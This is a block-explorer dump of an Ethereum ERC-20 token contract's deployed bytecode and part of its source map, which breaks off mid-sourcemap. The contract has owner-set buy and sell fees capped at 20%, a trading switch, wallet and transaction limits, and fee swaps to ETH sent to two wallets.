1681565b348015610372575f80fd5b506101926103813660046114ac565b610688565b348015610391575f80fd5b506101f76103a0366004611558565b610694565b3480156103b0575f80fd5b506101b66103bf36600461159f565b6001600160a01b039182165f90815260196020908152604080832093909416825291909152205490565b3480156103f4575f80fd5b506101b660155481565b348015610409575f80fd5b506101f7610418366004611514565b610788565b5f610429338484610804565b5060015b92915050565b60186020527f999d26de3473317ead3eeaf34ca78057f1439db67b6953469c3c96ce9caf6bd75461dead5f9081527fe3ec2099396b7359df1c566dfdf9dfdb5e22fd64a6ede9d61aa32b2f63968fd654600154919261049e9290916104989190610927565b90610927565b905090565b5f6104af848484610932565b61050084336104fb85604051806060016040528060288152602001611730602891396001600160a01b038a165f9081526019602090815260408083203384529091529020549190610e6a565b610804565b5060015b9392505050565b5f546001600160a01b0316331461053d5760405162461bcd60e51b8152600401610534906115d6565b60405180910390fd5b6002805460ff19166001179055565b5f546001600160a01b031633146105755760405162461bcd60e51b8152600401610534906115d6565b5f61059761271061059186600154610e9590919063ffffffff16565b90610ea0565b90505f6105b561271061059186600154610e9590919063ffffffff16565b90505f6105d361271061059186600154610e9590919063ffffffff16565b60138490556014839055601581905590505f6105fe6103e861059160056105f8610433565b90610e95565b90508084101580156106105750808310155b801561061c5750808210155b61067f5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610534565b50505050505050565b5f610429338484610932565b5f546001600160a01b031633146106bd5760405162461bcd60e51b8152600401610534906115d6565b60088790556009869055600b859055600a849055600c839055600d829055600e819055600f546106ee906001610ea0565b600c541115801561070e5750600f54610708906001610ea0565b600d5411155b80156107295750600f54610723906001610ea0565b600e5411155b61067f5760405162461bcd60e51b815260206004820152602a60248201527f62757946656520616e642073656c6c4665652063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b6064820152608401610534565b5f546001600160a01b031633146107b15760405162461bcd60e51b8152600401610534906115d6565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108665760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610534565b6001600160a01b0382166108c75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610534565b6001600160a01b038381165f8181526019602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610504828461160a565b6001600160a01b0383166109965760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610534565b6001600160a01b0382166109f85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610534565b6001600160a01b0383165f90815260186020526040902054811115610a795760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610534565b6001600160a01b0383165f908152601a602052604090205460ff16158015610ab957506001600160a01b0382165f908152601a602052604090205460ff16155b15610aff5760025460ff16610aff5760405162461bcd60e51b815260206004820152600c60248201526b1d1c985919515b98589b195960a21b6044820152606401610534565b6001600160a01b0383165f908152601a602052604090205460ff16158015610b3f57506001600160a01b0382165f908152601a602052604090205460ff16155b8015610b5957506007546001600160a01b03838116911614155b8015610b7057506001600160a01b03821661dead14155b15610be8576015546001600160a01b0383165f90815260186020526040902054610b9a9083610eab565b1115610be85760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610534565b6007546001600160a01b03848116911614610c875760145481111580610c2557506001600160a01b0383165f908152601a602052604090205460ff165b80610c4757506001600160a01b0382165f908152601a602052604090205460ff165b610c875760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610534565b60135481111580610caf57506001600160a01b0383165f908152601a602052604090205460ff165b80610cd157506001600160a01b0382165f908152601a602052604090205460ff165b610d115760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610534565b6007546001600160a01b038381169116148015610d4657506001600160a01b0383165f908152601a602052604090205460ff16155b15610d6357600160035f828254610d5d919061161d565b90915550505b610d6e838383610eb6565b15610d8357610d7e601654610f65565b5f6003555b6001600160a01b0383165f90815260186020526040902054610da59082610927565b6001600160a01b0384165f90815260186020908152604080832093909355601a90529081205460ff1615610dd95781610de4565b610de48484846110d5565b6001600160a01b0384165f90815260186020526040902054909150610e099082610eab565b6001600160a01b038085165f8181526018602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e5c9085815260200190565b60405180910390a350505050565b5f8184841115610e8d5760405162461bcd60e51b8152600401610534919061144a565b505050900390565b5f6105048284611630565b5f6105048284611647565b5f610504828461161d565b601754601654305f9081526018602052604081205460045491938510159211159060ff16158015610eee5750600254610100900460ff165b8015610efc575060025460ff165b8015610f055750815b8015610f2957506001600160a01b0386165f908152601a602052604090205460ff16155b8015610f4257506007546001600160a01b038681169116145b8015610f52575060055460035410155b8015610f5b5750805b9695505050505050565b6004805460ff19166001908117909155600a546009546008545f93610f9e936002936105f8939192610f98928391610eab565b90610eab565b90505f610fba8261059160085486610e9590919063ffffffff16565b90505f610fc78483610927565b905047610fd3826111ff565b5f610fde4783610927565b90505f611000610ff96008548861092790919063ffffffff16565b8390610ea0565b90505f61101860085483610e9590919063ffffffff16565b9050801561102a5761102a868261134f565b6009545f9061103e906105f8856002610e95565b9050801561107f576011546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561107d573d5f803e3d5ffd5b505b4780156110bf576010546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156110bd573d5f803e3d5ffd5b505b50506004805460ff191690555050505050505050565b6001600160a01b0382165f908152601a602052604081205460ff16156110fe5750601354610504565b5f6111098585611400565b11156111f8575f61112b61111d8686611400565b600f546105f8908690610ea0565b305f908152601860205260409020549091506111479082610eab565b305f81815260186020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111979085815260200190565b60405180910390a35f600b541180156111ba5750600b546111b88686611400565b115b156111e6576111e63061dead6111e1600b546105f8600f5489610ea090919063ffffffff16565b610932565b6111f08382610927565b915050610504565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061123257611232611666565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611289573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112ad919061167a565b816001815181106112c0576112c0611666565b6001600160a01b0392831660209182029290920101526006546112e69130911684610804565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061131e9085905f90869030904290600401611695565b5f604051808303815f87803b158015611335575f80fd5b505af1158015611347573d5f803e3d5ffd5b505050505050565b6006546113679030906001600160a01b031684610804565b60065460125460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156113d4573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906113f99190611704565b5050505050565b6007545f906001600160a01b03908116908316036114215750600d5461042d565b6007546001600160a01b03908116908416036114405750600c5461042d565b50600e5492915050565b5f6020808352835180828501525f5b8181101561147557858101830151858201604001528201611459565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114a9575f80fd5b50565b5f80604083850312156114bd575f80fd5b82356114c881611495565b946020939093013593505050565b5f805f606084860312156114e8575f80fd5b83356114f381611495565b9250602084013561150381611495565b929592945050506040919091013590565b5f60208284031215611524575f80fd5b813561050481611495565b5f805f60608486031215611541575f80fd5b505081359360208301359350604090920135919050565b5f805f805f805f60e0888a03121561156e575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f80604083850312156115b0575f80fd5b82356115bb81611495565b915060208301356115cb81611495565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561042d5761042d6115f6565b8082018082111561042d5761042d6115f6565b808202811582820484141761042d5761042d6115f6565b5f8261166157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561168a575f80fd5b815161050481611495565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116e35784516001600160a01b0316835293830193918301916001016116be565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611716575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220874780178ff1bb61e2655d825b9902801107cfe36ba09837e303c75b0dda351064736f6c63430008150033

Deployed Bytecode Sourcemap

3693:9648:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5909:67;;;;;;;;;;-1:-1:-1;5969:5:0;;;;;;;;;;;;-1:-1:-1;;;5969:5:0;;;;5909:67;;;;;;;:::i;:::-;;;;;;;;6807:133;;;;;;;;;;-1:-1:-1;6807:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6807:133:0;1023:187:1;6132:127:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6132:127:0;1215:177:1;8999:309:0;;;;;;;;;;-1:-1:-1;8999:309:0;;;;;:::i;:::-;;:::i;6591:65::-;;;;;;;;;;;;;:::i;:::-;;2696:87;;;;;;;;;;-1:-1:-1;2696:87:0;;;;;:::i;:::-;2751:4;2776:5;-1:-1:-1;;;;;2765:16:0;;;2776:5;;2765:16;;2696:87;6059:67;;;;;;;;;;-1:-1:-1;6059:67:0;;3909:1;2252:36:1;;2240:2;2225:18;6059:67:0;2110:184:1;6482:103:0;;;;;;;;;;-1:-1:-1;6482:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;6565:18:0;6548:7;6565:18;;;:9;:18;;;;;;;6482:103;4818:49;;;;;;;;;;;;;;;;5303:43;;;;;;;;;;-1:-1:-1;5303:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6265:78;;;;;;;;;;-1:-1:-1;6317:7:0;6335:5;-1:-1:-1;;;;;6335:5:0;6265:78;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;6265:78:0;2299:203:1;4874:50:0;;;;;;;;;;;;;;;;5982:71;;;;;;;;;;-1:-1:-1;6044:7:0;;;;;;;;;;;;-1:-1:-1;;;6044:7:0;;;;5982:71;;10797:523;;;;;;;;;;-1:-1:-1;10797:523:0;;;;;:::i;:::-;;:::i;4163:19::-;;;;;;;;;;-1:-1:-1;4163:19:0;;;;-1:-1:-1;;;;;4163:19:0;;;6662:139;;;;;;;;;;-1:-1:-1;6662:139:0;;;;;:::i;:::-;;:::i;9654:511::-;;;;;;;;;;-1:-1:-1;9654:511:0;;;;;:::i;:::-;;:::i;6349:127::-;;;;;;;;;;-1:-1:-1;6349:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;6447:18:0;;;6430:7;6447:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6349:127;4931:53;;;;;;;;;;;;;;;;2789:111;;;;;;;;;;-1:-1:-1;2789:111:0;;;;;:::i;:::-;;:::i;6807:133::-;6882:4;6889:37;6898:10;6910:7;6919:6;6889:8;:37::i;:::-;-1:-1:-1;6934:4:0;6807:133;;;;;:::o;6132:127::-;6565:9;:18;;;;4534:42;6185:7;6565:18;;;;;6202:7;;6185;;6202:55;;6565:18;;6202:28;;:7;:11;:28::i;:::-;:32;;:55::i;:::-;6195:62;;6132:127;:::o;8999:309::-;9097:4;9114:36;9124:6;9132:9;9143:6;9114:9;:36::i;:::-;9161:117;9170:6;9178:10;9190:87;9226:6;9190:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9190:19:0;;;;;;:11;:19;;;;;;;;9210:10;9190:31;;;;;;;;;:87;:35;:87::i;:::-;9161:8;:117::i;:::-;-1:-1:-1;9296:4:0;8999:309;;;;;;:::o;6591:65::-;2751:4;2776:5;-1:-1:-1;;;;;2776:5:0;2663:10;2765:16;2647:38;;;;-1:-1:-1;;;2647:38:0;;;;;;;:::i;:::-;;;;;;;;;6635:12:::1;:19:::0;;-1:-1:-1;;6635:19:0::1;6650:4;6635:19;::::0;;6591:65::o;10797:523::-;2751:4;2776:5;-1:-1:-1;;;;;2776:5:0;2663:10;2765:16;2647:38;;;;-1:-1:-1;;;2647:38:0;;;;;;;:::i;:::-;10903:13:::1;10919:28;10941:5;10919:17;10931:4;10919:7;;:11;;:17;;;;:::i;:::-;:21:::0;::::1;:28::i;:::-;10903:44;;10949:19;10971:29;10994:5;10971:18;10983:5;10971:7;;:11;;:18;;;;:::i;:29::-;10949:51;;11002:17;11022:31;11047:5;11022:20;11034:7;11022;;:11;;:20;;;;:::i;:31::-;11064:6;:14:::0;;;11080:7:::1;:21:::0;;;11103:10:::1;:22:::0;;;11002:51;-1:-1:-1;;11152:30:0::1;11177:4;11152:20;11170:1;11152:13;:11;:13::i;:::-;:17:::0;::::1;:20::i;:30::-;11136:46;;11210:5;11201;:14;;:38;;;;;11234:5;11219:11;:20;;11201:38;:60;;;;;11256:5;11243:9;:18;;11201:60;11193:119;;;::::0;-1:-1:-1;;;11193:119:0;;4614:2:1;11193:119:0::1;::::0;::::1;4596:21:1::0;4653:2;4633:18;;;4626:30;4692:34;4672:18;;;4665:62;-1:-1:-1;;;4743:18:1;;;4736:44;4797:19;;11193:119:0::1;4412:410:1::0;11193:119:0::1;10892:428;;;;10797:523:::0;;;:::o;6662:139::-;6740:4;6747:40;6757:10;6769:9;6780:6;6747:9;:40::i;9654:511::-;2751:4;2776:5;-1:-1:-1;;;;;2776:5:0;2663:10;2765:16;2647:38;;;;-1:-1:-1;;;2647:38:0;;;;;;;:::i;:::-;9844:7:::1;:20:::0;;;9866:14:::1;:27:::0;;;9895:9:::1;:17:::0;;;9914:8:::1;:23:::0;;;9939:6:::1;:15:::0;;;9956:7:::1;:15:::0;;;9973:11:::1;:20:::0;;;10022:11:::1;::::0;:18:::1;::::0;-1:-1:-1;10022:15:0::1;:18::i;:::-;10012:6;;:28;;:61;;;;-1:-1:-1::0;10055:11:0::1;::::0;:18:::1;::::0;10071:1:::1;10055:15;:18::i;:::-;10044:7;;:29;;10012:61;:98;;;;-1:-1:-1::0;10092:11:0::1;::::0;:18:::1;::::0;10108:1:::1;10092:15;:18::i;:::-;10077:11;;:33;;10012:98;10004:153;;;::::0;-1:-1:-1;;;10004:153:0;;5029:2:1;10004:153:0::1;::::0;::::1;5011:21:1::0;5068:2;5048:18;;;5041:30;5107:34;5087:18;;;5080:62;-1:-1:-1;;;5158:18:1;;;5151:40;5208:19;;10004:153:0::1;4827:406:1::0;2789:111:0;2751:4;2776:5;-1:-1:-1;;;;;2776:5:0;2663:10;2765:16;2647:38;;;;-1:-1:-1;;;2647:38:0;;;;;;;:::i;:::-;2855:5:::1;:11:::0;;-1:-1:-1;;;;;;2855:11:0::1;-1:-1:-1::0;;;;;2855:11:0;::::1;::::0;;::::1;::::0;;;2873:25:::1;::::0;2445:51:1;;;2873:25:0::1;::::0;2433:2:1;2418:18;2873:25:0::1;;;;;;;2789:111:::0;:::o;8652:335::-;-1:-1:-1;;;;;8745:19:0;;8737:68;;;;-1:-1:-1;;;8737:68:0;;5656:2:1;8737:68:0;;;5638:21:1;5695:2;5675:18;;;5668:30;5734:34;5714:18;;;5707:62;-1:-1:-1;;;5785:18:1;;;5778:34;5829:19;;8737:68:0;5454:400:1;8737:68:0;-1:-1:-1;;;;;8824:21:0;;8816:68;;;;-1:-1:-1;;;8816:68:0;;6061:2:1;8816:68:0;;;6043:21:1;6100:2;6080:18;;;6073:30;6139:34;6119:18;;;6112:62;-1:-1:-1;;;6190:18:1;;;6183:32;6232:19;;8816:68:0;5859:398:1;8816:68:0;-1:-1:-1;;;;;8895:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8947:32;;1361:25:1;;;8947:32:0;;1334:18:1;8947:32:0;;;;;;;8652:335;;;:::o;433:98::-;491:7;518:5;522:1;518;:5;:::i;11502:1396::-;-1:-1:-1;;;;;11599:20:0;;11591:70;;;;-1:-1:-1;;;11591:70:0;;6729:2:1;11591:70:0;;;6711:21:1;6768:2;6748:18;;;6741:30;6807:34;6787:18;;;6780:62;-1:-1:-1;;;6858:18:1;;;6851:35;6903:19;;11591:70:0;6527:401:1;11591:70:0;-1:-1:-1;;;;;11680:23:0;;11672:71;;;;-1:-1:-1;;;11672:71:0;;7135:2:1;11672:71:0;;;7117:21:1;7174:2;7154:18;;;7147:30;7213:34;7193:18;;;7186:62;-1:-1:-1;;;7264:18:1;;;7257:33;7307:19;;11672:71:0;6933:399:1;11672:71:0;-1:-1:-1;;;;;6565:18:0;;6548:7;6565:18;;;:9;:18;;;;;;11762:6;:27;;11754:88;;;;-1:-1:-1;;;11754:88:0;;7539:2:1;11754:88:0;;;7521:21:1;7578:2;7558:18;;;7551:30;7617:34;7597:18;;;7590:62;-1:-1:-1;;;7668:18:1;;;7661:47;7725:19;;11754:88:0;7337:413:1;11754:88:0;-1:-1:-1;;;;;11857:18:0;;;;;;:10;:18;;;;;;;;11856:19;:45;;;;-1:-1:-1;;;;;;11880:21:0;;;;;;:10;:21;;;;;;;;11879:22;11856:45;11853:89;;;11911:12;;;;11903:37;;;;-1:-1:-1;;;11903:37:0;;7957:2:1;11903:37:0;;;7939:21:1;7996:2;7976:18;;;7969:30;-1:-1:-1;;;8015:18:1;;;8008:42;8067:18;;11903:37:0;7755:336:1;11903:37:0;-1:-1:-1;;;;;11956:18:0;;;;;;:10;:18;;;;;;;;11955:19;:45;;;;-1:-1:-1;;;;;;11979:21:0;;;;;;:10;:21;;;;;;;;11978:22;11955:45;:75;;;;-1:-1:-1;12025:4:0;;-1:-1:-1;;;;;12004:26:0;;;12025:4;;12004:26;;11955:75;:105;;;;-1:-1:-1;;;;;;12034:26:0;;4534:42;12034:26;;11955:105;11952:213;;;12118:10;;-1:-1:-1;;;;;12081:20:0;;;;;;:9;:20;;;;;;:32;;12106:6;12081:24;:32::i;:::-;12080:48;;12072:91;;;;-1:-1:-1;;;12072:91:0;;8298:2:1;12072:91:0;;;8280:21:1;8337:2;8317:18;;;8310:30;8376:32;8356:18;;;8349:60;8426:18;;12072:91:0;8096:354:1;12072:91:0;12188:4;;-1:-1:-1;;;;;12178:14:0;;;12188:4;;12178:14;12175:115;;12212:7;;12202:6;:17;;:39;;;-1:-1:-1;;;;;;12223:18:0;;;;;;:10;:18;;;;;;;;12202:39;:64;;;-1:-1:-1;;;;;;12245:21:0;;;;;;:10;:21;;;;;;;;12202:64;12194:94;;;;-1:-1:-1;;;12194:94:0;;8657:2:1;12194:94:0;;;8639:21:1;8696:2;8676:18;;;8669:30;-1:-1:-1;;;8715:18:1;;;8708:47;8772:18;;12194:94:0;8455:341:1;12194:94:0;12318:6;;12308;:16;;:38;;;-1:-1:-1;;;;;;12328:18:0;;;;;;:10;:18;;;;;;;;12308:38;:63;;;-1:-1:-1;;;;;;12350:21:0;;;;;;:10;:21;;;;;;;;12308:63;12300:93;;;;-1:-1:-1;;;12300:93:0;;8657:2:1;12300:93:0;;;8639:21:1;8696:2;8676:18;;;8669:30;-1:-1:-1;;;8715:18:1;;;8708:47;8772:18;;12300:93:0;8455:341:1;12300:93:0;12421:4;;-1:-1:-1;;;;;12408:17:0;;;12421:4;;12408:17;:40;;;;-1:-1:-1;;;;;;12430:18:0;;;;;;:10;:18;;;;;;;;12429:19;12408:40;12405:69;;;12470:1;12450:8;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;;12405:69:0;12487:41;12502:6;12510:9;12521:6;12487:14;:41::i;:::-;12484:103;;;12530:32;12549:12;;12530:18;:32::i;:::-;12583:1;12564:8;:21;12484:103;-1:-1:-1;;;;;12617:17:0;;;;;;:9;:17;;;;;;:29;;12639:6;12617:21;:29::i;:::-;-1:-1:-1;;;;;12597:17:0;;;;;;:9;:17;;;;;;;;:49;;;;12683:10;:18;;;;;;;;12682:19;:75;;12751:6;12682:75;;;12704:44;12722:6;12730:9;12741:6;12704:17;:44::i;:::-;-1:-1:-1;;;;;12791:20:0;;;;;;:9;:20;;;;;;12657:100;;-1:-1:-1;12791:40:0;;12657:100;12791:24;:40::i;:::-;-1:-1:-1;;;;;12768:20:0;;;;;;;:9;:20;;;;;;;:63;;;;12847:43;;;;;;;;;;12875:14;1361:25:1;;1349:2;1334:18;;1215:177;12847:43:0;;;;;;;;11580:1318;11502:1396;;;:::o;857:240::-;977:7;1038:12;1030:6;;;;1022:29;;;;-1:-1:-1;;;1022:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1073:5:0;;;857:240::o;539:98::-;597:7;624:5;628:1;624;:5;:::i;645:98::-;703:7;730:5;734:1;730;:5;:::i;327:98::-;385:7;412:5;416:1;412;:5;:::i;10173:390::-;10314:12;;10387;;10377:4;10271;6565:18;;;:9;:18;;;;;;10418:7;;10271:4;;10304:22;;;;-1:-1:-1;10359:40:0;;10418:7;;10417:8;:23;;;;-1:-1:-1;10429:11:0;;;;;;;10417:23;:39;;;;-1:-1:-1;10444:12:0;;;;10417:39;:51;;;;;10460:8;10417:51;:74;;;;-1:-1:-1;;;;;;10473:18:0;;;;;;:10;:18;;;;;;;;10472:19;10417:74;:95;;;;-1:-1:-1;10508:4:0;;-1:-1:-1;;;;;10495:17:0;;;10508:4;;10495:17;10417:95;:120;;;;;10528:9;;10516:8;;:21;;10417:120;:138;;;;;10541:14;10417:138;10410:145;10173:390;-1:-1:-1;;;;;;10173:390:0:o;7622:1022::-;5138:7;:14;;-1:-1:-1;;5138:14:0;5148:4;5138:14;;;;;;7757:8:::1;::::0;7737:14:::1;::::0;7718:7:::1;::::0;5138;;7717:57:::1;::::0;7772:1:::1;::::0;7718:48:::1;::::0;7757:8;;7718:34:::1;::::0;;;:11:::1;:14::i;:::-;:18:::0;::::1;:34::i;7717:57::-;7694:80;;7785:32;7820:37;7844:12;7820:19;7831:7;;7820:6;:10;;:19;;;;:::i;:37::-;7785:72:::0;-1:-1:-1;7868:14:0::1;7885:36;:6:::0;7785:72;7885:10:::1;:36::i;:::-;7868:53:::0;-1:-1:-1;7957:21:0::1;7989:24;7868:53:::0;7989:16:::1;:24::i;:::-;8024:20;8047:41;:21;8073:14:::0;8047:25:::1;:41::i;:::-;8024:64;;8099:19;8120:43;8137:25;8154:7;;8137:12;:16;;:25;;;;:::i;:::-;8120:12:::0;;:16:::1;:43::i;:::-;8099:64;;8174:29;8206:24;8222:7;;8206:11;:15;;:24;;;;:::i;:::-;8174:56:::0;-1:-1:-1;8244:34:0;;8241:103:::1;;8280:61;8293:24;8319:21;8280:12;:61::i;:::-;8400:14;::::0;8354:20:::1;::::0;8377:38:::1;::::0;:18:::1;:11:::0;8393:1:::1;8377:15;:18::i;:38::-;8354:61:::0;-1:-1:-1;8429:16:0;;8426:67:::1;;8455:12;::::0;8447:44:::1;::::0;-1:-1:-1;;;;;8455:12:0;;::::1;::::0;8447:44;::::1;;;::::0;8478:12;;8455::::1;8447:44:::0;8455:12;8447:44;8478:12;8455;8447:44;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;8426:67;8529:21;8564:28:::0;;8561:76:::1;;8602:6;::::0;8594:41:::1;::::0;-1:-1:-1;;;;;8602:6:0;;::::1;::::0;8594:41;::::1;;;::::0;8619:15;;8602:6:::1;8594:41:::0;8602:6;8594:41;8619:15;8602:6;8594:41;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;8561:76;-1:-1:-1::0;;5157:7:0;:15;;-1:-1:-1;;5157:15:0;;;-1:-1:-1;;;;;;;;7622:1022:0:o;6948:662::-;-1:-1:-1;;;;;7068:21:0;;7044:7;7068:21;;;:10;:21;;;;;;;;7064:43;;;-1:-1:-1;7099:6:0;;7092:13;;7064:43;7154:1;7120:31;7133:6;7141:9;7120:12;:31::i;:::-;:35;7117:471;;;7167:17;7187:60;7215:31;7228:6;7236:9;7215:12;:31::i;:::-;7198:11;;7187:23;;:6;;:10;:23::i;:60::-;7303:4;7285:24;;;;:9;:24;;;;;;7167:80;;-1:-1:-1;7285:39:0;;7167:80;7285:28;:39::i;:::-;7276:4;7258:24;;;;:9;:24;;;;;;;:66;;;;7340:42;;-1:-1:-1;;;;;7340:42:0;;;;;;;7372:9;1361:25:1;;1349:2;1334:18;;1215:177;7340:42:0;;;;;;;;7416:1;7396:9;;:22;:69;;;;;7456:9;;7422:31;7435:6;7443:9;7422:12;:31::i;:::-;:43;7396:69;7393:155;;;7467:79;7485:4;4534:42;7507:38;7535:9;;7507:23;7518:11;;7507:6;:10;;:23;;;;:::i;:38::-;7467:9;:79::i;:::-;7565:21;:6;7576:9;7565:10;:21::i;:::-;7558:28;;;;;7117:471;-1:-1:-1;7596:6:0;6948:662;-1:-1:-1;;6948:662:0:o;12904:434::-;12994:16;;;13008:1;12994:16;;;;;;;;12970:21;;12994:16;;;;;;;;;;-1:-1:-1;12994:16:0;12970:40;;13039:4;13021;13026:1;13021:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13021:23:0;;;:7;;;;;;;;;;:23;;;;13065:6;;:13;;;-1:-1:-1;;;13065:13:0;;;;:6;;;;;:11;;:13;;;;;13021:7;;13065:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13055:4;13060:1;13055:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13055:23:0;;;:7;;;;;;;;;:23;13121:6;;13089:53;;13106:4;;13121:6;13130:11;13089:8;:53::i;:::-;13153:6;;:177;;-1:-1:-1;;;13153:177:0;;-1:-1:-1;;;;;13153:6:0;;;;:57;;:177;;13225:11;;13153:6;;13267:4;;13294;;13314:15;;13153:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12959:379;12904:434;:::o;9316:330::-;9429:6;;9397:53;;9414:4;;-1:-1:-1;;;;;9429:6:0;9438:11;9397:8;:53::i;:::-;9461:6;;9602:5;;9461:177;;-1:-1:-1;;;9461:177:0;;9524:4;9461:177;;;11172:34:1;11222:18;;;11215:34;;;9461:6:0;11265:18:1;;;11258:34;;;11308:18;;;11301:34;-1:-1:-1;;;;;9602:5:0;;;11351:19:1;;;11344:44;9622:15:0;11404:19:1;;;11397:35;9461:6:0;;;:22;;9491:9;;11106:19:1;;9461:177:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;9316:330;;:::o;10571:218::-;10687:4;;10651:7;;-1:-1:-1;;;;;10687:4:0;;;10674:17;;;;10671:38;;-1:-1:-1;10700:7:0;;10693:14;;10671:38;10732:4;;-1:-1:-1;;;;;10732:4:0;;;10722:14;;;;10719:34;;-1:-1:-1;10745:6:0;;10738:13;;10719:34;-1:-1:-1;10770:11:0;;10571:218;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2507:316::-;2584:6;2592;2600;2653:2;2641:9;2632:7;2628:23;2624:32;2621:52;;;2669:1;2666;2659:12;2621:52;-1:-1:-1;;2692:23:1;;;2762:2;2747:18;;2734:32;;-1:-1:-1;2813:2:1;2798:18;;;2785:32;;2507:316;-1:-1:-1;2507:316:1:o;2828:592::-;2941:6;2949;2957;2965;2973;2981;2989;3042:3;3030:9;3021:7;3017:23;3013:33;3010:53;;;3059:1;3056;3049:12;3010:53;-1:-1:-1;;3082:23:1;;;3152:2;3137:18;;3124:32;;-1:-1:-1;3203:2:1;3188:18;;3175:32;;3254:2;3239:18;;3226:32;;-1:-1:-1;3305:3:1;3290:19;;3277:33;;-1:-1: